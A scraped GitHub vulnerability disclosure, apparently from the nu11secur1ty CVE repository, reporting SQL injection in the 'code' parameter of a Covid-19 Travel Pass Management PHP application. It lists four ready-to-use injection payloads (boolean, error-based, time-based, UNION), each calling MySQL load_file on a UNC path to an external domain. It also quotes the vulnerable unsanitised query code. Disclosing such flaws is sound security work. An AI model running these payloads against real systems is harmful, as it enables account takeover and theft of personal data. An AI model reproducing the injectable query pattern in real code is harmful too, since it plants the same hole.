Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-nu11secur1ty/vendors/oretnom23/2022/Covid-19-Travel-Pass-Management/
CVE-nu11secur1ty/vendors/oretnom23/2022/Covid-19-Travel-Pass-Management/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
PoC
 
 
 
 

Covid 19 Travel Pass Management

Vendor

Description:

The code parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\kyy'))+' was submitted in the code parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator accounts control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

---
Parameter: code (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: page=view_pass&code=775545'+(select load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+'' OR NOT 7325=7325 AND 'vRQn'='vRQn

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: page=view_pass&code=775545'+(select load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+'' AND (SELECT 1607 FROM(SELECT COUNT(*),CONCAT(0x7171707071,(SELECT (ELT(1607=1607,1))),0x7176707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HjrM'='HjrM

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=view_pass&code=775545'+(select load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+'' AND (SELECT 2775 FROM (SELECT(SLEEP(5)))lkxH) AND 'bdqR'='bdqR

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: page=view_pass&code=775545'+(select load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+'' UNION ALL SELECT NULL,CONCAT(0x7171707071,0x584d675163465844744f504c484d4256425463675863674948566f6b68474f464f64634e6b5a596a,0x7176707171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---

Vulnerability:

<?php

if(isset($_GET['code']) && $_GET['code'] > 0){
    $qry = $conn->query("SELECT * FROM application_list where code = '{$_GET['code']}'");
    if($qry->num_rows > 0){
        foreach($qry->fetch_assoc() as $k => $v){
            $$k=$v;
        }
		if(isset($individual_id)){
			$user_qry = $conn->query("SELECT *, concat(lastname, ', ', firstname, ' ', coalesce(middlename,'')) as `name` from `individual_list` where id = '{$individual_id}' ");
			if($qry->num_rows > 0){
				foreach($user_qry->fetch_assoc() as $k => $v){
					$inv[$k]=$v;
				}
				$meta_qry = $conn->query("SELECT * FROM `individual_meta` where `individual_id` = '{$individual_id}' ");
				while($row = $meta_qry->fetch_assoc()){
					$inv[$row['meta_field']] = $row['meta_value'];
				}
			}
		}
    }
}
?>

Reproduce:

href

More info:

href